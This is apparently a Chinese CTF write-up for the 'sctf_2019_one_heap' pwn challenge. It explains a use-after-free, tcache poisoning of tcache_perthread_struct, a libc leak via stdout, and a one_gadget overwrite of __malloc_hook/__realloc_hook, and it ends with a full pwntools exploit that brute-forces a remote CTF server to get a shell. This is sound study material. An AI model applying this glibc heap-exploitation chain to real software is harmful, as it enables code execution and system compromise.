sctf_2019_one_heap
总结
根据本题,学习与收获有:
-
tcache_perthread_struct
这个结构体也是阔以释放的,并且可以将它释放到unsorted bin
中去,然后分配这个unsorted bin chunk
,可以控制任意地址分配堆内存。
题目分析
checksec
题目的环境为ubuntu 18
,并且保护全开。
函数分析
main
menu_get_choice
这个函数名是我自己取的,是为了方便理解。这里只有两个选项,只能new
和delete
。接下来,分别看一下这两个选项。
new_note
需要注意的点有:
- 分配的
chunk
的大小限制在0x7f
内 - 分配的数量限制在
0xf
,也就是这里的malloc_count
变量大小
delete_note
需要注意的点:
- 执行完
free(ptr)
后,没有将指针置空,存在UAF
漏洞 - 最多只能释放
4
次,也就是free_count
的大小
漏洞点
漏洞出现在delete_note
函数处,这里存在UAF
漏洞。由于程序的运行环境为ubuntu 18
,那么在libc-2.27.so
的前几个版本中,引入的tcache bin
机制是缺乏校验机制的。也就是,即使对tcache bin chunk
重复释放,也不会引发任何异常。比fastbin chunk
的约束更少,一来不检查size
域,二来也不检查是否重复释放。
但是,程序只提供一个ptr
指针来进行堆操作,因此,需要劫持一下tcache_perthread_struct
这个结构体。
利用思路
知识点
tcache bin dup
tcache bin poisoning
tacahe_perthread_struct
很多知识点在之前的一些博客里面已经讲过了,这里不再赘叙。
利用过程
步骤:
- 调用
1
次new_note
,分配一个0x80
大小的chunk
- 连续释放两次上方分配的
chunk
- 爆破一个字节,将
chunk
分配到tcache_perthread_struct
- 修改大小为为
0x250
大小的chunk
的数量,需要超过7
,之后释放掉tcache_perthread_struct
,使其被放置再在unsorted bin
中。 - 分配这个
unsorted bin chunk
,首先爆破1
个字节,分配到stdout
结构体附近,使用stdout
来泄露libc
地址 - 分配到
__malloc_hook
上方,修改__malloc_hook
为one_gadget
地址,再次分配时即可getshell
EXP
调试过程
-
准备好分配与释放函数
def new_note(size, content="id"): sh.sendlineafter("Your choice:", '1') sh.sendlineafter("Input the size:", str(size)) sh.sendlineafter("Input the content:", content) def del_note(): sh.sendlineafter("Your choice:", '2')
-
利用
tcache bin dup
分配到tcache_perthread_struct
,并修改0x250
大小的chunk
对应的数量为7
。这里需要爆破1
个字节,因为保护全开的话,堆地址对齐到内存页,低2
个字节一定是?000
,这里的代码是手动输入,实际需要爆破,成功率为1/16
。new_note(0x70) del_note() del_note() lw = input("one_byte:") lw = int16(lw) new_note(0x70, p16((lw << 8) | 0x10)) new_note(0x70) layout = [0, 0, 0, 0, 0x07000000] new_note(0x70, flat(layout))
显然,这里需要输入
0x40
-
释放掉
tcache_perthread_struct
del_note()
-
然后利用
unsorted bin
的fd
与bk
指针会留一个libc
地址的特性,爆破一个字节,分配到stdout
上方,这里直接修改0x50
大小的chunk
的tcache bins
的头指针地址new_note(0x40, p64(0) * 5) lw = input("one_byte:") lw = int16(lw) new_note(0x10, flat(0, p16((lw << 8) | 0x60)))
这里就需要输入
0x77
,可以看到修改成功了 -
然后利用
stdout
泄露出libc
地址,并修改地址分配chunk
到__realloc_hook
上方。这里需要调整一下栈帧,所以要借助__realloc_hook
。首先del_note
是为了能再次修改0x50
大小的chunk
的头指针。del_note() new_note(0x40, flat(0xfbad1887, 0, 0, 0, "\x58")) msg = sh.recvn(8) leak_addr = u64(msg) LOG_ADDR("leak_addr", leak_addr) libc_base_addr = leak_addr - 0x3e82a0 LOG_ADDR("libc_base_addr", libc_base_addr) realloc_hook_addr = libc_base_addr + libc.sym["__realloc_hook"] realloc_addr = libc_base_addr + libc.sym["realloc"] gadgets = [0x4f2c5, 0x4f322, 0x10a38c] one_gadget = libc_base_addr + gadgets[2] new_note(0x10, flat(0, p64(realloc_hook_addr)[:6]))
然后任意地址分配:
-
然后调整栈帧之后,再次分配即可
getshell
new_note(0x40, flat(one_gadget, realloc_addr+0x4)) new_note(0x10) sh.interactive()
远程需要爆破tcache_perthread_struct
的低2
位字节,与stdout
结构体的低2
位字节,远程爆破效果为:
爆破了218
次才成功!
完整exp
from pwn import *
# sh:tube = process("./sctf_2019_one_heap")
context.update(arch="amd64", os="linux", endian="little")
sh = remote("node3.buuoj.cn", 26663)
cur_elf = ELF("./sctf_2019_one_heap")
libc = cur_elf.libc
def LOG_ADDR(*args):
pass
context.update(arch="amd64", os="linux", endian="little")
def new_note(size, content="id"):
sh.sendlineafter("Your choice:", '1')
sh.sendlineafter("Input the size:", str(size))
sh.sendlineafter("Input the content:", content)
def del_note():
sh.sendlineafter("Your choice:", '2')
def attack(first, second):
new_note(0x70)
del_note()
del_note()
new_note(0x70, p16((first << 8) | 0x10))
new_note(0x70)
layout = [0, 0, 0, 0, 0x07000000]
new_note(0x70, flat(layout))
del_note()
new_note(0x40, p64(0) * 5)
new_note(0x10, flat(0, p16((second << 8) | 0x60)))
del_note()
new_note(0x40, flat(0xfbad1887, 0, 0, 0, "\x58"))
msg = sh.recvn(8)
leak_addr = u64(msg)
LOG_ADDR("leak_addr", leak_addr)
libc_base_addr = leak_addr - 0x3e82a0
realloc_hook_addr = libc_base_addr + libc.sym["__realloc_hook"]
realloc_addr = libc_base_addr + libc.sym["realloc"]
gadgets = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = libc_base_addr + gadgets[2]
new_note(0x10, flat(0, p64(realloc_hook_addr)[:6]))
new_note(0x40, flat(one_gadget, realloc_addr+0x4))
new_note(0x10)
try:
sh.sendline("id")
sh.recvline_contains("uid", timeout=2)
sh.sendline("cat flag")
sh.interactive()
except:
try:
sh.close()
except:
pass
if __name__ == "__main__":
n = 0x1000
while n > 0:
log.success("counts: {}".format(0x1000 - n))
try:
attack(0x60, 0x67)
except:
pass
# sh = process("./sctf_2019_one_heap")
sh = remote("node3.buuoj.cn", 26663)
n -= 1
引用与参考
1、My Blog
2、Ctf Wiki